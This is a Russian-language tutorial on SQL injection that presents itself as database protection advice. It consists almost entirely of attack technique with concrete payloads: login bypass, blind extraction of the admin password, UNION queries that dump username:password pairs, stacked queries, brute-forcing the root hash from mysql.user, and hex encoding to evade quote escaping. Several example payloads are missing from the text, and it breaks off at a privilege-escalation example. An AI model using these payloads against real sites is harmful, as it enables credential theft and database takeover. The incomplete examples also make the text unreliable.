Логика построения SQL-inj запросов.
Здравствуйте!
Эта статья посвящена способам защиты баз данных под управлением sql сервера. Для начала определимся что же такое база даных? На самом деле это просто
файл или обьеденение файлов, который содержит в себе различные таблицы, записи и тд. База данных- это объединение таблиц, таблица - объединение записей,
а запись - полей. Поле - важнейшая "единица" базы данных; в нем могут храниться значения различных типов. Не стоит забывать, что в базе данных хранятся
не только сообщения ленты новостей, но так же и пароли от кошельков, почтовых ящиков и тд. Атаки на базы данных с помощью внедрения своего запроса отнесли
к специальному классу - sql-injection. Что подразумевает внедрение "зловредного" кода в запрос, отсылаемый, например, скриптом к sql серверу (например mysql).
В этой статье не будет "зацикливания" на определенных видах субд (система управления базами данных), просто логика построения sql запросов, которые будут
выполняться во всех современных sql субд с незначительными изменениями.
Логика запроса.
Очевидно, что для того чтобы уметь защищать свои базы, нужно мыслить как взломщик, поэтому мы попытаемся "взломать" сами себя.
Для начала нужно убедиться в том, что переменные, отправляемые клиентом серверу, впоследствии передаются именно в sql запрос,
тем самым давая возможность для проведения инъекции. Пусть, например, на первой страничке сайта имеется форма авторизации пользователя:
Код:
+--------------------+
|Ваше имя на сайте : |
|Ваш пароль : |
+--------------------+
Взломщику требуется пароль от юзера с логином admin, тогда представим себе примерную работу скрипта (примеры на пхп), отсылающего введенные данные на sql
сервер.
Код:
$username=$_POST["username"];
$password=$_POST["password"];
sql_function("select user_ip,image,email,web from users where name="".$username."" and passwd="".$password.""")
sql_function - придуманная функция, отсылающая введенное имя пользователя - username и пароль - password. Запрос дожен вытащить ип и
картинку (юзера) с такими логином и паролем.
Как можно заметить, никаких проверок на правильность введенных значений просто нет. Что же делает взломщик? Пусть ему нужно узнать email жертвы, тогда sql
сервер не будет против такого запроса:
"select user_ip,image,email,web from users where name="admin"/* and passwd="123456""
"/*" - это комментарии распространяющиеся от начала и до конца запроса, аналогом может служить "#" или "--" - до конца строки запроса.
К слову сказать запрос в MYSQL с "/*" без закрывающей части "*/" будет обрабатываться коректно, тогда как MS SQL например будет требовать "*/".
Пусть в скрипте присутствует "фильтрация", тогда введем в поле имени следующее значение:
Заметим, что такой запрос также будет верным: первая кавычка закроет значение имени, а последнюю закроет кавычка передаваемая самим скриптом. Возможно
запрос сложнее, и так сразу эксплуатировать уязвимость не удасться, поэтому для начала достаточно будет определить лишь сам факт наличия. Так как очевидно,
что передается строковая переменная, то введем в поле логина следующее значение:
причем пусть пользователь xaxa зарегестрирован на сайте и имеет пароль lala, тогда запрос будет корректным, и если кавычки не экранируются, то сервер
возвратит данные для пользователя xaxa, что подтвердит наличие уязвимости. Но случай приведенный здесь слишком тривиален, поэтому разберем ещё парочку
интересных вариантов. Для начала ознакомимся с четырьмя функциями MySQL (их аналоги в MS SQL и прочих субд можно найти на сайте sql.ru):
1) substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length.
2) ascii(char) - возвращает ASCII код символа char
3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру
4) CHAR_LENGTH(str) - возвращает длину str
Пусть на сайте существует поиск юзера по нику или полу, по имени или фотографии и тд. Рассмотрим, например, какой-нибудь сайт знакомств. Вполне разумно
будет предположить, что поиск ведется по таблице типа users, в которой очевидно сожержаться пароли.
Код:
+--------------------+
|Поиск по имени: |
+--------------------+
Введем например "Саша", тогда в ответ мы получим список пользователей с именем Саша. Теперь попробуем ввести знакомую конструкцию
Если фильтрация отсутствует, то запрос будет корректен, и мы получим тот же список. Теперь введем
Если никаких дополнительных скобок не будет, то запрос будет правилен, и мы получим опять тот же самый список (тк логическое условие сохраняется).
Попробуем провести полноценную инъекцию
Код:
саша" and passwd="123" and "1"="1
если же столбец passwd действительно существует, то в списке очевидно будут присутствовать только те имена пользователей, чьи пароли "123".
Обычно взломщику записи по паролям не нужны, поэтому введем в поле поиска
Код:
admin" and ascii(substring(passwd,1,1))>100 and "1"="1
Таким образом, мы получим (скорее всего одну) запись при выполнении условия, то есть если первый символ пароля имеет код больший ста, то мы увидим найденное
имя "admin", в противном случае скрипт напишет : "ничего не найдено". Аналогично можно получить весь пароль администратора. Сейчас уже редко пароли
хранятся в открытом виде, поэтому для определения "типа" хеша можно попробовать функцию например md5().
Инъекции в "числовых" переменных.
Пусть переменная имеет вид id=47893. Можно предположить, что в sql запросе передается именно число, а не строка. Тогда попробуем подставить
Если результат будет аналогичен тому, что возвращается при id=47893, то можно признать факт наличия уязвимости. Следует понимать, что подставлять нужно не
только "1" так как иногда скрипты работают не "очевидно"+) Пусть пока никакой уязвимости не найденно, тогда подставим
Если рузультат тот же, то подставим
Если результаты не совпадают, то уязвимость определенно есть. Многие скрипты обрамляют условия в операторе WHERE скобками, поэтому можно попробовать
подставить например
последнюю кавычку закроет сам скрипт и результат выполнения будет аналогичен тому же что и подстановке:
Использование оператора UNION.
Инъекции с использованием UNION пожалуй стандарт проведения sql-inj. Он используется в связке с оператором SELECT. Применяется Union для объеденения двух,
а может и более запросов. В mySQL его поддержка введена, начиная с четвертой версии. Пример
Код:
select id,name from users union select 10,"xaxa" from news
В итоге мы получим тот же результат, что и без
Код:
union select 10,"xaxa" from news
а в конце будет просто добавлено 10 "xaxa". Вместо 10 или "xaxa" можно написать имя столбца соответствующего типа. В последнем операторе select часть
"from table" можно опустить. У оператора UNION всего два требования - соответствие по типам от предыдущего select, то есть в нашем примере id имеет тип
int и 10 имеет такой же тип, name - строка и "xaxa" - строка и количество соответствующих столбцов должно быть одинаково. Надеюсь, вы уже заметили выгоду
использования UNION. Пусть первоначальный запрос выглядит так
Код:
select news_id,message from news where id=47893
Если вывод сведений об ошибке sql запроса не выводится, то эффективнее поступать так: найти любое доступное имя таблицы, а потом задать следующий запрос
Код:
select news_id,message from news where id=47893 union select null from lala
как же найти lala? Легче всего установить имя талицы из которой происходит первоначальная выборка данных. Для этого задаим следующий запрос
Код:
select news_id,message from news where id=47893 or id=47893
Если запрос выполнится успешно, то это говорит о существовании столбца id. Теперь найдем талицу
Код:
select news_id,message from news where id=47893 or news.id=47893
Если результат будет аналогичен предыдущему, то news действительно существует.
Так как мы не знаем реальные типы столбцов, то следующий запрос будет корректно обрабатываться как сервером sql, так и скриптом, который будем оперировать с
результатом
Код:
select news_id,message from news where id=47893 union select null,null from news where 1=2
Напомню null - специальный тип данных, в котором хранят "отсутствующие" значения. В результате выполнения этого запроса мы получим то же ,что и без части
с UNION (тк 1<>2). Если же ошибка все же присутствует, то это говорит лишь о том, что эта версия не поддерживает UNION или колличество столбцов не
соответствует реальному. Перебрав количество столбцов зададим следующий запрос
Код:
select news_id,message from news where id=-47893 union select name,passwd from users
Обратите внимание на минус, это значит, что первый SELECT возвратит нулевое количество записей, то есть в результате будут только записи из второго
SELECT. Но как вы наверное заметили news_id имеет тип int, а name очевидно строка, в таком случае, в зависимости от sql сервера имен пользователей мы не
увидим или будет ошибка несоответствия типов. Тогда придется вести перебор типов. Если результат не будет сожержать ошибки, например
Код:
select news_id,message from news where id=-47893 union select 100+1,passwd from users
то в результате должна присутствовать запись с полем, значением которо является 101=100+1. Как же получить имена юзеров не исбавляясь от паролей? Тут нам
поможет ещё одна стандартная функция mySQL:
1)concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.
А теперь зададим следующий запрос
Код:
select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users
Результат будет содержать записи вида
Такой запрос для большой бд будет выполняться очень долго, поэтому удобно использовать оператор LIMIT
Код:
select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000
в итоге получим 1000 (или меньше, в зависимости от общего количества) записей начиная с 3000"ой по счету.
Все бы хорошо но попадаются версии MySQL без поддержки UNION. Как быстро определить версию сервера? Для этого существует полезная функция version().
А вот ещё немного:
Код:
1)DATABASE() - возвращает имя текущей бд, в MS SQL это BD_NAME()
2)USER(),SYSTEM_USER(),SESSION_USER() - возвращают имя текущего пользователя, аналогично USER() в MS SQL
Использование подзапросов.
В раних версиях mySQL оператора UNION не существовало, но была красивая замена - подзапросы. Что же означает строка следующего вида
Код:
select id from users limit 1
В принципе это и есть подзапрос, но в непривычной форме. Пусть есть обычный запрос
Код:
select news_id,message from news where id=1
И значение id мы можем менять, тогда запрос, в соответствующей версии сервера sql, будет корректен
Код:
select news_id,message from news where id=(select id from users where name="admin")
Основными условиями использования подзапроса является то, что выбираться должен только один столбец и возвращаемая запись должна быть так же одна.
С логической точки зрения это действительно правильно. Теперь применим накопившиеся знания на практике
Код:
select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
Таким перебором можно получить весь пароль администратора.
Использование раздельных запросов.
Конечно большинство запросов отсылаемых скриптом серверу идут непосредственно в операторе SELECT, но кроме него существуют операторы update, delete и тд.
Так как MySQL раздельные запросы (то есть через разделяя весь запрос ";" за один раз сервер способен обработать несколько запросов) не поддерживает,
то инъекцию можно провести только при поддержке подзапросов. Например так:
Код:
update users set user_sig=(select passwd from users where id=1) where id=893
Теперь посмотрим, как использовать раздельные запросы, если первоначальный запрос идет не в операторе UPDATE, а в каком-то другом
Код:
select news_id,message from users where id=47893;update users set user_sig=(select passwd from users where id=1) where id=893
Но перед этим нужно убедиться что sql сервер действительно поддерживает эту возможность, для этого можно составить запрос примерно такой
Код:
select news_id,message from users where id=47893;create table lala(xxx int)
И далее
Код:
select news_id,message from users where id=(select 1 from lala)
Если запрос пройдет без ошибок, то понятно, что пользователь "lala" существует, а это значит, что раздельные запросы поддерживаются.
"Полезные" запросы.
Несомненно SELECT идеальный вариант, но как же определить, что запрос идет непосредственно в SELECT? Для этого можно попробовать вставить в конец запроса
LIMIT. Отсутствие ошибки будет говорить о том, что сервер во-первых работает на MySQL (так например LIMIT - это не стандарт sql) и конечно о том, что там
действительно SELECT. Если же это не MySQL то попробуйте подставить предложение "GROUP BY 1" или "HAVING 1=1" - стандарт sql и работает только в операторе
SELECT. Этих двух способов вполне достаточно для выявления "типа" запроса. А теперь представьте, что имеется факт наличия инъекции и уязвимый параметр
передается sql серверу в операторе SELECT, казалось бы все идеально, но даже с поддржкой UNION в некотрых скриптах провести полноценную инъекцию бывает
тяжело. Пусть скрипт получает от sql сервера записи и дальше оперирует с ними до вывода, причем это "оперирование" может быть достаточно сложным. Например,
пусть в конечном итоге скрипт должен получить запись содержащую дату и выделить из неё месяц и т.п. Но если вы не подобрали какую нибудь существующую
таблицу (тогда можно вставить в конец предложение where 1=2 и эта строка просто не выведится), то простой перебор типа
Код:
...union select null,null,null
может привести к ошибке, ещё хуже если она будет невидимой, даже если количество null"ов и количество столбцов в первоначальном select одинаково! Можно
долго пытаться угадать где возвращется дата или какой нибудь типа данных. Куда легче сначала точно определить количество столбцов в первоначальном select
и уже потом довести инъекцию до конца. Для этого очень удобно использовать следующую особенность оператора ORDER BY, дело в следующем, синтаксис его таков,
что упорядочивать строки запроса можно только по тем столбцам которые передаются в select, причем имя столбца можно заменить его порядком в запросе.
Другими словами, пусть есть запрос:
Код:
select news_id,message,autor from news where news_id=333 order by lala
тогда lala может принимать значение news_id,mewssage или autor, или 1,2 или 3. Даже если таблица news содержит ещё столбцы не входящие в select их передавать
в lala Нельзя - это вызовет ошибку. Таким образом можно довольно просто подобрать количество всех столбцов так:
Код:
select news_id,message,autor from news where news_id=333 order by 2
Далее 3, а на значении 4 в ответе мы увидим ошибку, это говорим о том, что столбец с номером 4 в select отсутствует, то есть их общее количество равно 4-1=3.
В дополнение хочеться сказать, что такой метод наиболее оптимален почти по всем параметрам, по сравннию с простым перебором null"ов. Так как,
если в операторе select уже присутствует предложение order by, то добавить конструкцию union select не удасться - т.к. этого не позволяет синтаксис.
ПОэтому если добавить к запросу order by не удается (будет сообщение об ошибке или результат будет пустым), то это уже говорит о невозможности
использования union, и бесконечно беребирать количество столбцов уже не нужно. А если в первом select уже был group by это не помешает добавить
order by и впоследствии, даже, union. Если же количество столбцов подобрано верно, то есть, нашли максимальный номер столбца ORDER BY MAX_Number и в
тоже время вставка union select 1,2,..,Max_Number не срабатывает это говорит о том, что в скрипте (уязвимой приложении) идет два или более запросов
с уязвимым параметром содержащим РАЗНОЕ количество столбцов в select (возможно там будет вообще не select), тогда провести sql-injection с помощью
UNION не удасться, но можно попробовать использовать раздельные запросы.
Иногда взломщик может взять нужные ему данные из таблицы даже когда нет поддержки ни UNION, ни подзапросов. Пусть имеется простейший запрос:
Код:
select news_id,message from news where news_id=333
Тогда, если значение передаваемое в news_id не фильтруется, можно получить доступные таблицы так:
Код:
select news_id,message from news where news_id=333 natural left join mysql.user
В случае результата схожего с предыдущем или отсутствием ошибок можно говорить, что таблица mysql.user доступна и в дальнейшем из неё можно
получить нужные данные так:
Код:
select news_id,message from news where news_id=333 natural left join mysql.user where user="root" and ascii(substring(password,1,1))=111
Аналогичным перебором можно получить весь пароль и подключиться к баз данных под root.
Обход экранизации кавычек в запросе.
Иногда скрипт все же экранирует спецсимволы, например только кавычки. Но это "препядствие" так же можно обойти. Будь то mssql или
PostgresSQL c помощью любимой поисковой машины аналоги функций описываемых здесь или языковых конструкций всегда можно найти. В MySQL и MS SQL есть
очень интерсная особенность, а именно представление строк в 16-ом формате. Тоесть
Вернет нам строку "xaxa". Для того чтобы обычную строку быстро перевести в 16-и битное представление можно применить такой простой скрипт на php
Код:
<?echo("0x".bin2hex("xaxa"))?>
Аналогом в MySQL может служить функция:
1)char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...
Возможно взломщику потребуется получить сообщение об ошибке, чтобы определить версию\пути и тд Тогда при удачной передаче в запрос символа нулевого байта \x0 сервер ответит ошибкой.
Технические особенности
Основное направление применения атак класса sql-injecton конечно получение информации из баз данных, но в связи с разнообразием различных субд и
специфических функций для них, существует возможность поднять свои привелегиии в системе не только на уровне самой базы данных, но и в целом.
Так, например, можно создать\прочитать файл на сервере, выполнять команды в системе и т.д. Выходом за пределы выполнения команд только в БД является
неправильная настройка сервера и распределение прав.
1) MySQL:
Имея на руках инъекцию, и имея определенные права можно "достать" хеш пароля пользователя с правами file из таблицы mysql.user, далее
восстановить пароль к хешу и попробовать подключиться к удаленному sql серверу. Пример: